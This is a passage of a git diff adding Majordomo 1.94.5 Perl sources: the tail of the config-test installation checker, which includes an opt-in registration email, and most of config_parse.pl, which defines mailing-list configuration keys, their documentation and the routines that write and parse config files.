POSIX qw(ctime); +@requires = ( "majordomo_version.pl", + "majordomo.pl", + "shlock.pl", + "config_parse.pl", + ); + +$registration_file = ".majordomo_registration"; + +$default_uid = 123; + +if (!$ENV{'MAJORDOMO_CF'}) { + print <<"STOP" + +\a\aYou're attempting to run $0 the wrong way! +Let's try running it through ./wrapper instead, hmm? +STOP + ; + sleep 2; + if (-x "./wrapper") { + exec("./wrapper config-test", @ARGV); + } else { + print <<"dummy" +Well, shoot, you forget to run + + make install-wrapper + +as well! Better go do that... +dummy + ; + exit 1; + } +} + + + +&header(''); +&header("Config-test for Majordomo"); +&header(''); +print "\n\n"; + + + +&header("Obvious things:"); + +&header("environment variables"); +foreach $e (sort keys %ENV) { + print " $e=$ENV{$e}\n"; +} + +&header("euid/egid checks"); + +$euid_name=getpwuid($>); +push(@egid_group_numbers,(split(' ',$) ))); # it switches groups... +foreach $groupnum (@egid_group_numbers) { + $name = getgrgid($groupnum); + push(@egid_names,$name); +} +print " effective user = $euid_name (uid $>)\n"; +print " effective group = @egid_names (gid $) )\n"; + +&header("uid/gid checks"); + +$uid_name=getpwuid($<); +push(@gid_group_numbers,(split(' ',$( ))); # it switches groups... +foreach $groupnum (@gid_group_numbers) { + $name = getgrgid($groupnum); + push(@gid_names,$name); +} +print " real user = $uid_name (uid $<)\n"; +print " real group = @gid_names (gid $( )\n"; + +if ($< == $default_uid) { # the default uid + print <<"idontthinkso" +I think it's highly unlikely that you're using the default +user id of $default_uid for majordomo. Lemme check... + +idontthinkso + ; + $name = (getpwuid($default_uid))[0]; + if (! $name ) { + print <<"ithoughtso" + +Hah! I thought so! You've forgotten to use the right user id +in the Makefile. Make sure that W_USER and W_GROUP are set to +the correct values in the Makefile, and run + make install-wrapper +again. + +ithoughtso +;#' + exit 1; + } else { + print <<"wellokay" +Hmm! The user with the uid of $default_uid is $name, so +at least the user exists. If this isn't the majordomo user, +make sure that W_USER and W_GROUP are set to the correct values +in the Makefile, and run + make install-wrapper +again. + +wellokay +;#' + } +} + +&header(''); +print "\n\tNon obvious things that cause headaches:\n\n"; +&header(''); + +$cf = $ARGV[0] || $ENV{'MAJORDOMO_CF'}; + +if (eval "require '$cf'") { + &good("'require'd $cf okay."); +} else { + &bad("something's wrong with $cf: $@"); +} + +foreach (@requires) { + if (require $_) { + &good("found $_ okay."); + } else { + &bad("failed to find $_ in \@INC"); + } +} + +print "\n"; + +print "You're running Majordomo Version $majordomo_version.\n"; + +print "\n--==> Majordomo home directory is $homedir.\n"; + +unshift(@INC, $homedir); + +&header("Include directories"); +foreach (@INC) { + print "\t$_\n"; +} + +&header("Home"); + +if (chdir($homedir)) { + &good("changedir to $homedir succeeded."); +} else { + &bad("changedir to $homedir failed, $!"); +} +if (open(TEST, ">cftest.$$")) { + &good("Created a mock lock file."); + close(TEST); + unlink("cftest.$$"); +} +else { + &bad("Couldn't create a mock lock file.\n \$homedir ($homedir) needs to be writable."); +} + +&header("temp directory"); +if (! defined $TMPDIR) { + &bad("\$TMPDIR not defined by majordomo.cf"); +} +elsif (-d $TMPDIR) { + if (open(TEST, ">$TMPDIR/cftest.$$")) { + &good("Created a temp file in \$TMPDIR ($TMPDIR)."); + close(TEST); + unlink("$TMPDIR/cftest.$$"); + } + else { + &bad("Couldn't create a file in $TMPDIR."); + } +} +else { + &bad("\$TMPDIR ($TMPDIR) does not exist."); +} + +&header("list directory"); + +if (-d $listdir) { + if (-r $listdir && -w $listdir && -x $listdir) { + &good("list directory $listdir has good permissions."); + } else { + &bad("list directory $listdir has bad permissions"); + } +} else { + print "Hmmm, list directory $listdir doesn't exist\n or isn't a directory.\n"; + print "Let me try to make it for you...\n"; + if ( mkdir( $listdir, 0777) ) { + &good("list directory $listdir created.\n"); + } else { + &bad("Couldn't create $listdir, $!"); + } +} + +&header("log"); + +if ( ! -e $log ) { + print "Logfile $log didn't exist, trying to create...\n "; + if (open(A, ">$log") && close(A) ) { # sesame + print "okay, now chmod'ing..\n"; + chmod (0664, $log) || &bad( "chmod on $log failed, $!"); + } else { + &bad("Couldn't create logfile $log, $!\n"); + } +} + +if ( -f $log && -r $log && -w $log) { + &good("logfile $log exists and is writeable."); +} else { + &bad("logfile $log exists, but is not writeable or isn't a file."); +} + +&header ("Mailers"); +if ($mailer) { + print "You have defined a mailer for delivery.\n"; + if ($mailer =~ /sendmail.*\s-t/i) { + print "Whoa! You have given the \"-t\" option to sendmail. This can cause mail\n"; + print "loops when used for outbound delivery.\n"; + $BAD++; + } + ($x = $mailer) =~ s/\s.*$//; # Remove everything after and including + # the first space +} +elsif ($sendmail_command) { + print "You haven't defined a \$mailer to be used for delivery, but you have\n"; + print "defined \$sendmail_command. Majordomo will use\n"; + print "$sendmail_command -f\\\$sender\n"; + print "to deliver mail to the list unless you define list-specific cases.\n"; + $x = $sendmail_command; +} +else { + print "You have defined neither \$mailer, nor \$sendmail_command.\n"; + print "Majordomo will use\n"; + print "/usr/lib/sendmail -f\\\$sender\n"; + print "to deliver mail to the list.\n"; + $x = "/usr/lib/sendmail"; +} + +print "Attempting to verify that this is a valid mailer..."; +if ( -x $x ) { + print "looks okay.\n"; +} else { + print "nope, $x is not executable\n"; + $BAD++; +} + +if ($bounce_mailer) { + print "You have defined a mailer for delivering administrative messages.\n"; + ($x = $mailer) =~ s/\s.*$//; # Remove everything after and including + # the first space +} +elsif ($sendmail_command) { + print "You haven't defined a \$bounce_mailer to be used for delivering\n"; + print "administrative messages, but you have defined \$sendmail_command.\n"; + print "Majordomo will use\n"; + print "$sendmail_command -f\\\$sender -t\n"; + print "to deliver administrative mail.\n"; + $x = $sendmail_command; +} +else { + print "You have defined neither \$mailer, nor \$sendmail_command.\n"; + print "Majordomo will use\n"; + print "/usr/lib/sendmail -f\\\$sender -t\n"; + print "to deliver administrative mail.\n"; + $x = "/usr/lib/sendmail"; +} + +print "Attempting to verify that this is a valid mailer..."; +if ( -x $x ) { + print "looks okay.\n"; +} else { + print "nope, $x is not executable\n"; + $BAD++; +} + + +&header("Checking majordomo.cf"); + +print "Checking to see if there are new variables that should be in\n"; +print "your majordomo.cf file..."; + +open($cf, $cf) || &bad("Couldn't open $cf for reading, $!"); +open(S, 'sample.cf') || &bad("Couldn't open sample.cf for reading, $!"); + +while () { + next unless /^\s*(\$\w+(('|::)\w+)*)/; + $config{$1} = 2; +} + +while (<$cf>) { + next unless /^\s*(\$\w+(('|::)\w+)*)/; + $config{$1} = 1 unless defined $config{$1}; # Keeps -w happy + $config{$1} |= 1; +} + +close (S); +close $cf; + +# $config{whatever} == 1 if only in their majordomo.cf, +# == 2 if only in sample.cf, +# == 3 if in both. +# + +foreach (sort keys %config) { + push (@new, $_) if $config{$_} == 2; + push (@unknown, $_) if $config{$_} == 1; +} + +if ($#new >= 0) { + print "\nNew configuration variables (see sample.cf):\n"; + foreach (@new) { print "\t$_\n"; } +} + +if ($#unknown >= 0) { + print "\nUnknown configuration variables in existing majordomo.cf:\n"; + foreach (@unknown) { print "\t$_\n"; } +} + +if ($#new == -1 && $#unknown == -1) { + print "Nope, none that I see.\n"; +} + +print "\nHave you configured where Majordomo is?\n"; +print "\t\$whereami is $whereami\n"; +if ($whereami eq "example.com") { + &bad("\$whereami hasn't been changed yet!"); +} else { + &good("yup!"); +} + +&header("end of tests"); + +print "\n\n"; + +if ($BAD) { + print "$BAD bad ", $BAD == 1 ? "thing was" : "things were", " found.\n"; + print "Please fix before attempting to run Majordomo.\n"; +} else { + print <<"ZOT"; +Nothing bad found! Majordomo _should_ work correctly. + +If it doesn't, check your configuration file + ($cf) +closely, and if it still looks okay, consider asking the majordomo-users +mailing list at "majordomo-users\@greatcircle.com" for assistance. Be sure +and fully specify what your problems are, and what type of machine (and +operating system) you are using. + +Enjoy! + +ZOT + +#' + + if ( ! -e $registration_file || + `cat $registration_file` ne $majordomo_version) { + print <<"ZOT"; +I see you haven't registered this version of Majordomo. +By registering, you will be notified of patches and further releases +of Majordomo. Shall I send email to majordomo-registration\@greatcircle.com +to register this version? (I'll cc $whoami_owner) +ZOT + +#' + print "[yes] "; + if ( <> !~ /n/i) { + open(RF,">$registration_file") + || die "couldn't create $registration_file, $!"; + print RF $majordomo_version; + close RF; + + $sendmail_command = "/usr/lib/sendmail" + unless defined $sendmail_command; + $bounce_mailer = "$sendmail_command -f\$sender -t" + unless defined $bounce_mailer; + &set_abort_addr($whoami_owner); + &set_mail_from($whoami); $x = $whoami; # Keeps -w happy + &set_mail_sender($whoami_owner); + &set_mailer($bounce_mailer); + + &sendmail(REG, "majordomo-registration\@greatcircle.com,$whoami_owner", + "Majordomo Registration"); + print REG "Majordomo Version: $majordomo_version\n"; + print REG "Perl version $]\n"; + print REG "Majordomo Owner: $whoami_owner\n"; + print REG "Uname: " . `uname -a`; + close REG; + } else { + print "Ooooh, like to live dangerously, eh?!\n\n"; + } + } + +} + + +###################################################################### +sub good { print "Good: $_[0]\n"; } + +sub bad { print "BAD: $_[0]\n"; $BAD++;} + +sub header { + if (length $_[0]) { + print '-' x ( ( 60 - (length($_[0]) + 2) ) / 2), + " $_[0] ", '-' x ( ( 60 - (length($_[0]) + 2) ) / 2), "\n"; + } else { + print '-' x 60, "\n"; + } +} + +# +# that's all folks + diff --git a/update/scripts/packages/majordomo-1.94.5/config_parse.pl b/update/scripts/packages/majordomo-1.94.5/config_parse.pl new file mode 100644 index 0000000..5d2bbf2 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/config_parse.pl @@ -0,0 +1,1511 @@ +'di'; +'ig00'; +# A file to parse a majordomo mailing list config file +# +# writes into the global variable %main'config_opts +# + +# $Header: /sources/cvsrepos/majordomo/config_parse.pl,v 1.71 2000/01/07 14:00:26 cwilson Exp $ +# $Modified: Fri Jan 7 14:59:49 2000 by cwilson $ + +# this array holds the interesting info for use by all tools +%main'config_opts=(); + +require 'shlock.pl'; + +# here is the config package +package config; + +$config'debug = 0; #Set to non-zero for various debugging levels + +$clobber = 1; # if 0 don't empty previous list entries for configuration + +@errors = (); # The config'errors array is used to store error messages + # if the array is not empty, it causes main'get_config() + # to return 1. + +$installing_defaults = 0; # Set to 1 when installing defaults, in case + # a grab_ function needs to act differently + # when dealing with a default item. + +## Begin +## The following associative arrays are used: +## +## %known_keys(keyword,default value) -- defines the known keys in the +## config file. A null value implies that the +## string is undefined. A default value with '#!' +## at the beginning causes the string to be +## eval'ed. This is useful for substituting the +## list name etc into the string. If the keyword +## takes on a descrete set of values, the +## parse function MUST be grab_enum. The value of +## known_keys is the list of +## enumerated values. The separator character is +## "\001". Added onto the end is the default +## value. If the value can take on numerous +## values (i.e. is an array), the value is a +## string with each element in the array +## separated by "\001". +## +## %comments(keyword, comment) -- keeps comments for each keyword +## The comments are printed out when making a config +## file. So that they will document the use of +## the keyword. +## +## %parse_function(key, function) -- The function to use to parse the +## value for a given key. All functions for this +## purpose begin with "grab_", and are in package +## config. The type of the function can be +## appended with __ to the name of the +## function. There are some special names for +## some of the functions. Any function that +## allows array values must end in _array. This +## allows the main parser to determine that an +## array syntax is allowable for the keyword. +## +## %subsystem(keyword, subsystem) -- tells what subsystem each keyword +## belongs to. By default only majordomo, and +## resend are used as subsystems. This is meant +## for extentions such as majordomo-mh that +## allows access to the mh mail package via +## majordomo. +## End + +# provide list of known keys. If value is '', then the key is undefined +# I.e. the action is just as though there was no keyword found. +# otherwise the value is the default value for the keyword. +# if the value starts with #!, the rest of the value is eval'ed +%known_keys = ( + 'welcome', 'yes', # send welcome msg to new subscribers + 'announcements', 'yes', # send sub/unsub audits to list owner + 'get_access', "open\001closed\001list\001list", # open, anyone can access + 'index_access', "open\001closed\001list\001open", # closed, nobody can + 'who_access', "open\001closed\001list\001open", # list, only list can access. + 'which_access', "open\001closed\001list\001open", # ...more to come... + 'info_access', "open\001closed\001list\001open", # + 'intro_access', "open\001closed\001list\001list", # + 'advertise', '', # if regexp matches address show list + 'noadvertise', '', # if regexp matches address + # don't show list + 'description', '', # description of list, one line 55 char + 'subscribe_policy', "open\001closed\001auto\001open+confirm\001closed+confirm\001auto+confirm\001#!\$default_subscribe_policy ? \$default_subscribe_policy : 'open'", + # open, closed, or auto. + 'unsubscribe_policy', "open\001closed\001auto\001open+confirm\001closed+confirm\001auto+confirm\001#!\$default_unsubscribe_policy ? \$default_unsubscribe_policy : 'open'", + # open, closed, or auto. + 'mungedomain', 'no', # is user@foo.com == user@host.foo.com + 'admin_passwd', '#!"$list.admin"', # administration password + 'strip', 'yes', # remove comments from address on list + 'date_info', 'yes', # date the info file when installed + 'date_intro', 'yes', # date the intro file when installed + 'archive_dir', '', +# When it works use '#!$main\'filedir . "/" . $list', +# stuff for resend below + 'moderate', 'no', # Is list moderated + 'moderator', '', # moderator instead of owner-list + 'approve_passwd', '#!"$list.pass"', + # password for approving postings + 'sender', '#!"owner-" . $list', # Set sender name + 'maxlength', '40000', # Set max article length + 'precedence', 'bulk', # Set/install precendence header + 'reply_to', '#! local($TEMP) = $list; + if ( $list =~ /-digest$/) { + $TEMP =~ s/-digest$//; + $TEMP; + } else { + ""; + }', + # Set/install reply-to header + # the code above sets the reply-to + # to null if it is not a -digest list, + # or the non-digest list if it is + # a -digest list. + 'restrict_post', '', # Like -I in resend + 'purge_received', 'no', # Remove received lines + 'administrivia', 'yes',# Enable administrivia checks + 'resend_host', '', # Change the host name + 'debug', 'no', # enable resend debugging + 'message_fronter', '', + 'message_footer', '', # text to be added at bottom of posting + 'message_headers', '', # headers to be added to messsages + 'subject_prefix', '', # prefix for the subject line + 'taboo_headers', '', # if a header matches, review message + 'taboo_body', '', # if body matches, review message +# stuff for digest below + 'digest_volume', '1', + 'digest_issue', '1', + 'digest_work_dir', '', + 'digest_name', '#!$list', + 'digest_archive', '', + 'digest_rm_footer', '', + 'digest_rm_fronter', '', + 'digest_maxlines', '', + 'digest_maxdays', '', +# general stuff below + 'comments', '', # comments about config file + ); + +# An associative array of comments for all of the keys +# The text is wrapped and filled on output. +%comments = ( +'welcome', +"If set to yes, a welcome message (and optional 'intro' file) will be +sent to the newly subscribed user.", + +'announcements', +"If set to yes, comings and goings to the list will be sent to the list +owner. These SUBSCRIBE/UNSUBSCRIBE event announcements are informational +only (no action is required), although it is highly recommended that they +be monitored to watch for list abuse.", + +'get_access', +"One of three values: open, list, closed. Open allows anyone +access to this command and closed completely disables the +command for everyone. List allows only list members access, +or if restrict_post is defined, only the addresses in those +files are allowed access.", + +'index_access', +"One of three values: open, list, closed. Open allows anyone +access to this command and closed completely disables the +command for everyone. List allows only list members access, +or if restrict_post is defined, only the addresses in those +files are allowed access.", + +'who_access', +"One of three values: open, list, closed. Open allows anyone +access to this command and closed completely disables the +command for everyone. List allows only list members access, +or if restrict_post is defined, only the addresses in those +files are allowed access.", + +'which_access', +"One of three values: open, list, closed. Open allows anyone +access to this command and closed completely disables the +command for everyone. List allows only list members access, +or if restrict_post is defined, only the addresses in those +files are allowed access.", + +'info_access', +"One of three values: open, list, closed. Open allows anyone +access to this command and closed completely disables the +command for everyone. List allows only list members access, +or if restrict_post is defined, only the addresses in those +files are allowed access.", + +'intro_access', +"One of three values: open, list, closed. Open allows anyone +access to this command and closed completely disables the +command for everyone. List allows only list members access, +or if restrict_post is defined, only the addresses in those +files are allowed access.", + +'advertise', +"If the requestor email address matches one of these +regexps, then the list will be listed +in the output of a lists command. +Failure to match any regexp excludes the list from +the output. The regexps under noadvertise override these regexps.", + +'comments', +"Comment string that will be retained across config file rewrites.", + +'noadvertise', +"If the requestor name matches one of these +regexps, then the list will not be listed +in the output of a lists command. +Noadvertise overrides advertise.", + +'description', +"Used as description for mailing list +when replying to the lists command. +There is no quoting mechanism, and +there is only room for 50 or so +characters.", + +'subscribe_policy', +"One of three values: open, closed, auto; plus an optional +modifier: '+confirm'. Open allows people to subscribe themselves to +the list. Auto allows anybody to subscribe anybody to the list without +maintainer approval. Closed requires maintainer approval for all +subscribe requests to the list. Adding '+confirm', ie, +'open+confirm', will cause majordomo to send a reply back to the +subscriber which includes a authentication number which must be sent +back in with another subscribe command.", + +'unsubscribe_policy', +"One of three values: open, closed, auto; plus an optional modifier: +'+confirm'. Open allows people to unsubscribe themselves from the +list. Auto allows anybody to unsubscribe anybody to the list without +maintainer approval. The existence of the file .auto is the +same as specifying the value auto. Closed requires maintainer +approval for all unsubscribe requests to the list. In addition to the +keyword, if the file .closed exists, it is the same as +specifying the value closed. Adding '+confirm', ie, 'auto+confirm', +will cause majordomo to send a reply back to the subscriber if the +request didn't come from the subscriber. The reply includes a +authentication number which must be sent back in with another +subscribe command. The value of this keyword overrides the value +supplied by any existent files.", + +'mungedomain', +"If set to yes, a different method is used to determine a matching +address. When set to yes, addresses of the form user\@dom.ain.com are +considered equivalent to addresses of the form user\@ain.com. This +allows a user to subscribe to a list using the domain address rather +than the address assigned to a particular machine in the domain. This +keyword affects the interpretation of addresses for subscribe, +unsubscribe, and all private options.", + +'admin_passwd', +"The password for handling administrative +tasks on the list.", + +'strip', +"When adding address to the list, strip off all +comments etc, and put just the raw address in the +list file. In addition to the keyword, if the file +.strip exists, it is the same as +specifying a yes value. That yes value is overridden +by the value of this keyword.", + +'date_info', +"Put the last updated date for the info file at the +top of the info file rather than having it appended +with an info command. This is useful if the file is being +looked at by some means other than majordomo (e.g. finger).", + +'date_intro', +"Put the last updated date for the intro file at the +top of the intro file rather than having it appended +with an intro command. This is useful if the file is being +looked at by some means other than majordomo (e.g. finger).", + +'moderate', +"If yes, all postings to the list will be +bounced to the moderator for approval.", + +'moderator', +"Address for directing posts which require approval. Such +approvals might include moderated mail, administrivia traps, +and restrict_post authorizations. If the moderator address +is not set, it will default to the list-approval address.", + +'approve_passwd', +"Password to be used in the approved header +to allow posting to moderated list, or +to bypass resend checks.", + +'sender', +"The envelope and sender address for the +resent mail. This string has \"\@\" and the value +of resend_host appended to it to make a +complete address. For majordomo, it provides the sender address +for the welcome mail message generated as part of the subscribe command.", + +'maxlength', +"The maximum size of an unapproved message in characters. When used +with digest, a new digest will be automatically generated if the size +of the digest exceeds this number of characters.", + +'precedence', +"Put a precedence header with value +into the outgoing message.", + +'reply_to', +"Put a reply-to header with value +into the outgoing message. If the token \$SENDER is used, then the +address of the sender is used as the value of the reply-to header. +This is the value of the reply-to header for digest lists.", + +'restrict_post', +"If defined, only addresses listed in these files (colon or +space separated) can post to the mailing list. By default, +these files are relative to the lists directory. These files +are also checked when get_access, index_access, info_access, +intro_access, which_access, or who_access is set to 'list'. +This is less useful than it seems it should be since there +is no way to create these files if you do not have access to +the machine running resend. This mechanism will be replaced +in a future version of majordomo/resend.", + +'resend_host', +"The host name that is appended to all address +strings specified for resend.", + +'purge_received', +"Remove all received lines before resending the message.", + +'administrivia', +"Look for administrative requests (e.g. subscribe/unsubscribe) and forward +them to the list maintainer instead of the list.", + +'debug', +"Don't actually forward message, just go though the motions.", + +'archive_dir', +"The directory where the mailing list archive is kept. This item does +not currently work. Leave it blank.", + +'message_fronter', +"Text to be prepended to the beginning of all messages posted to the list. +The text is expanded before being used. The following expansion tokens +are defined: \$LIST - the name of the current list, \$SENDER - the +sender as taken from the from line, \$VERSION, the version of +majordomo. If used in a digest, only the expansion token _SUBJECTS_ is +available, and it expands to the list of message subjects in the digest", + +'message_footer', +"Text to be appended at the end of all messages posted to the list. +The text is expanded before being used. The following expansion tokens +are defined: \$LIST - the name of the current list, \$SENDER - the +sender as taken from the from line, \$VERSION, the version of +majordomo. If used in a digest, no expansion tokens are provided", + +'message_headers', +"These headers will be appended to the headers of the posted message. +The text is expanded before being used. The following expansion tokens +are defined: \$LIST - the name of the current list, \$SENDER - the +sender as taken from the from line, \$VERSION, the version of +majordomo.", + +'subject_prefix', +"This word will be prefixed to the subject line, if it is not already +in the subject. The text is expanded before being used. The following +expansion tokens are defined: \$LIST - the name of the current list, +\$SENDER - the sender as taken from the from line, \$VERSION, the +version of majordomo.", + +'taboo_headers', +"If any of the headers matches one of these regexps, then the message +will be bounced for review.", + +'taboo_body', +"If any line of the body matches one of these regexps, then the message +will be bounced for review.", + +'digest_volume', +"The current volume number", + +'digest_issue', +"The issue number of the next issue", + +'digest_work_dir', +"The directory used as scratch space for digest. Don't +change this unless you know what you are doing", + +'digest_name', +"The subject line for the digest. This string has the volume + and issue appended to it.", + +'digest_archive', +"The directory where the digest archive is kept. This item does +not currently work. Leave it blank.", + +'digest_rm_footer', "The value is the name of the list that applies +the header and footers to the messages that are received by +digest. This allows the list supplied headers and footers to be +stripped before the messages are included in the digest.", + +'digest_rm_fronter', +'Works just like digest_rm_footer, except it removes the front material.', + +'digest_maxlines', +"automatically generate a new digest when the size of the digest exceeds +this number of lines.", + +'digest_maxdays', +"automatically generate a new digest when the age of the oldest article in +the queue exceeds this number of days.", +); + +# match commands to their subsystem, by default only 4 subsystems +# exist, majordomo, resend, digest and config. +%subsystem = ( + 'welcome', 'majordomo', + 'announcements', 'majordomo', + 'get_access', 'majordomo', + 'index_access', 'majordomo', + 'info_access', 'majordomo', + 'intro_access', 'majordomo', + 'who_access', 'majordomo', + 'which_access', 'majordomo', + 'advertise', 'majordomo', + 'noadvertise', 'majordomo', + 'description', 'majordomo', + 'subscribe_policy', 'majordomo', + 'unsubscribe_policy', 'majordomo', + 'mungedomain', 'majordomo', + 'admin_passwd', 'majordomo', + 'strip', 'majordomo', + 'date_info', 'majordomo', + 'date_intro', 'majordomo', + 'archive_dir', 'majordomo', +# stuff for resend below + 'moderate', 'resend', + 'moderator', 'resend', + 'approve_passwd', 'resend', + 'sender', 'majordomo,resend,digest', + 'maxlength', 'resend,digest', + 'precedence', 'resend,digest', + 'reply_to', 'resend,digest', + 'restrict_post', 'resend', + 'purge_received', 'resend', + 'administrivia', 'resend', + 'resend_host', 'resend', + 'debug', 'resend', + 'message_fronter', 'resend,digest', + 'message_footer', 'resend,digest', + 'message_headers', 'resend,digest', + 'subject_prefix', 'resend', + 'taboo_headers', 'resend', + 'taboo_body', 'resend', +# digest here + 'digest_volume', 'digest', + 'digest_issue', 'digest', + 'digest_work_dir', 'digest', + 'digest_name', 'digest', + 'digest_archive', 'digest', + 'digest_rm_footer', 'digest', + 'digest_rm_fronter', 'digest', + 'digest_maxlines', 'digest', + 'digest_maxdays', 'digest', +# general stuff here + 'comments', 'config', +); + +# match a parse function to a keyword +# the parse function will be called to parse the value string for +# the keyword +%parse_function = ( + 'welcome', 'grab_bool', + 'announcements', 'grab_bool', + 'get_access', 'grab_enum', + 'index_access', 'grab_enum', + 'info_access', 'grab_enum', + 'intro_access', 'grab_enum', + 'who_access', 'grab_enum', + 'which_access', 'grab_enum', + 'advertise', 'grab_regexp_array', + 'noadvertise', 'grab_regexp_array', + 'description', 'grab_string', + 'subscribe_policy', 'grab_enum', + 'unsubscribe_policy', 'grab_enum', + 'mungedomain', 'grab_bool', + 'admin_passwd', 'grab_word', + 'strip', 'grab_bool', + 'date_info', 'grab_bool', + 'date_intro', 'grab_bool', + 'archive_dir', 'grab_absolute_dir', +# stuff for resend below + 'moderate', 'grab_bool', + 'moderator', 'grab_word', + 'approve_passwd', 'grab_word', + 'sender', 'grab_word', + 'maxlength', 'grab_integer', + 'precedence', 'grab_word', + 'reply_to', 'grab_word', + 'restrict_post', 'grab_restrict_post', + 'purge_received', 'grab_bool', + 'administrivia', 'grab_bool', + 'resend_host', 'grab_word', + 'debug', 'grab_bool', + 'message_fronter', 'grab_string_array', + 'message_footer', 'grab_string_array', + 'message_headers', 'grab_string_array', + 'subject_prefix', 'grab_word', + 'taboo_headers', 'grab_regexp_array', + 'taboo_body', 'grab_regexp_array', +# stuff for digest below + 'digest_volume', 'grab_integer', + 'digest_issue', 'grab_integer', + 'digest_work_dir', 'grab_absolute_dir', + 'digest_name', 'grab_string', + 'digest_directory', 'grab_absolute_dir', + 'digest_archive', 'grab_absolute_dir', + 'digest_rm_footer', 'grab_word', + 'digest_rm_fronter', 'grab_word', + 'digest_maxlines', 'grab_integer', + 'digest_maxdays', 'grab_integer', +# general stuff below + 'comments', 'grab_string_array', + ); + + + +#### writeconfig +# is called to create up a default config file +# if majordomo runs and access a list for which no config +# file exists. The config file must already be locked. +# +# It is also called in response to the majordomo command "writeconfig" + +sub writeconfig { + local($listdir,$list) = @_; + local($key,$intro,$type,$value,$default,$subsystem,$comment) = (); + local($op) = '='; + local($oldumask) = umask($config_umask); + + + format OUT = + + @<<<<<<<<<<<<<<<<<<< @<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< + $key, $intro + ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< ~~ + $comment +@<<<<<<<<<<<<<<<<<< @<< @<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< +$key, $op, $value +. + + &main'open_temp(OUT, "$listdir/$list.config.out") + || &main'abort("Can't create new config file $listdir/$list.config.out"); + umask($oldumask); + +$installing_defaults = 1; + +foreach $key (sort (keys(%known_keys))) { + local($enum,@enum); + undef $enum; + + $type = $parse_function{$key}; + $type =~ s/^grab_//; # remove the grab_ prefix + $type =~ s/^.*__//; # If we have an explicit type, get it + + @enum = split(/\001/,$known_keys{$key}) if $type eq "enum"; + $default = pop(@enum); # Remove the default + + $value = $main'config_opts{$list,$key};#'; + $value = ("no","yes")[$value] if $type eq "bool"; + + $default = ($known_keys{$key} eq '' + ? "undef" + : &get_def($key, $known_keys{$key}, $list)); + $default = ("no","yes")[$default] if $type eq "bool"; + $default =~ s/\001/;/g; + $subsystem = $subsystem{$key}; + + $enums = join(';',@enum[$[..$#enum]) if $type eq "enum"; + + $intro = "[$type] ($default) <$subsystem>"; + + $intro .= " /$enums/" if $type eq "enum"; + + $comment = (defined $comments{$key} ? $comments{$key} : " "); + + if ($type =~ /_array/) { + # output items in array normal form + local($lval) = $value; + $value = "END"; + $op = '<<'; + write(OUT); + + + # handle the - escapes. We have to be careful about ordering + # the rules so that we don't accidently trigger a substitution + # if there is a - at the beginning of an entry, double it + # so that the doubled - can be striped when read in later + $lval =~ s/^-/--/g; # start with -'ed line + $lval =~ s/\001-/\001--/g; # embedded line starting with - + + # In standard form, empty lines are lines that have only + # a '-' on the line. + $lval =~ s/^\001/-\001/g; # start with blank line + $lval =~ s/\001\001/\001-\001/g; # embedded blank line + $lval =~ s/\001$/\001-/g; # trailing blank line + + # if there is space, protect it with a - + $lval =~ s/^(\s)/-$1/g; # the first line + $lval =~ s/\001(\s)/\001-$1/g; # embedded lines + + # now that all of the escapes are processed, get it ready + # to be printed. + $lval =~ s/\001/\n/g; + + print OUT $lval, "\nEND\n" + || &main'abort("Error writing config file for $list, $!"); + + $op = '='; + } else { + write(OUT) + || &main'abort("Error writing config file for $list, $!"); + } +} + +$installing_defaults = 0; + +close(OUT); + +# I have to post process the output to put the %#@^& comment character +# in. I can't do this in a forked process without getting a mix of the +# stdin to the parent and the child with Perl 4.019. + +open(MCONFIG, "> $listdir/$list.config") || + &main'abort( "Can't create new config file $listdir/$list.config"); + +print MCONFIG <'s. (undef) as default value means that the keyword is not +# defined or used. +EOS + +open(IN, "< $listdir/$list.config.out") || + &main'abort( "Can't create new config file $listdir/$list.config.out"); + +while () { + s/^(\t)(\S+)/$1# $2/; # prepend a '# ' to any line with a tab at the + # beginning preserving indentation. + print(MCONFIG) || + &main'abort("Couldn't write new config for $list, $!"); +} + +close(MCONFIG); +close(IN); +unlink("$listdir/$list.config.out"); +} + +#### handle_flag_files +# This is a compatibility routine for the non-config file +# based version of majordomo. It looks for the flag files, and +# sets the corresponding config file parameters. + +sub handle_flag_files { + local($listdir, $list) = @_; + + if ( -e "$listdir/$list.private") { + $main'config_opts{$list,"get_access"} = "closed"; + $main'config_opts{$list,"index_access"} = "closed"; + $main'config_opts{$list,"who_access"} = "closed"; + $main'config_opts{$list,"which_access"} = "closed"; + } + + $main'config_opts{$list,"subscribe_policy"} = "closed" + if ( -e "$listdir/$list.closed"); + + $main'config_opts{$list,"unsubscribe_policy"} = "closed" + if ( -e "$listdir/$list.closed"); + + if ( -e "$listdir/$list.auto" && -e "$listdir/$list.closed") { + push(@errors, + "Both listname.auto and listname.closed exist. Choosing closed\n"); + } else { + $main'config_opts{$list,"subscribe_policy"} = "auto" + if ( -e"$listdir/$list.auto"); + + $main'config_opts{$list,"unsubscribe_policy"} = "auto" + if ( -e"$listdir/$list.auto"); + } + + $main'config_opts{$list,"strip"} = 1 if ( -e "$listdir/$list.strip"); + $main'config_opts{$list,"noadvertise"} = "/.*/" + if ( -e "$listdir/$list.hidden"); +} + +######## +# +# The function that does all of the real work. +# Called with a list directory, a list name, and optionally a flag +# that indicates the config file is already locked if true (and +# should be left locked on return). +# +# List config file locking is different than other files in that a +# distinct lock file is used instead of just lopen() locking because +# it's easier to manage a persistent lock than to try to keep the file +# open (and thus locked) and pass the filehandle around. +# +sub main'get_config { + local($listdir, $list, $locked) = @_; + local($parse, $here_doc, $stop, $end) = (); + $end = 0; + + @errors = (); + + print STDERR "get_config($listdir, $list)\n" if $debug > 1; + + if ($main'config_opts{$list} && $clobber) { + # hey a reload, better clobber all previous + # entries pertaining to this list + local($i); + print STDERR "unloading entries for $list\n" if $debug > 1; + foreach $i (keys(%known_keys)) { + undef $main'config_opts{$list,"$i"}; + } + } + + $main'config_opts{$list,''} = '1'; # set a flag to indicate that we + # have parsed the config file for + # this list + print STDERR "adding site-wide defaults\n" if $debug > 1; + + $installing_defaults = 1; + + foreach $i (keys(%known_keys)) { + $main'config_opts{$list,$i} = + &get_def($i, $known_keys{$i}, $list); + } + + $installing_defaults = 0; + + + print STDERR "Overriding with existing config files\n" if $debug > 1; + 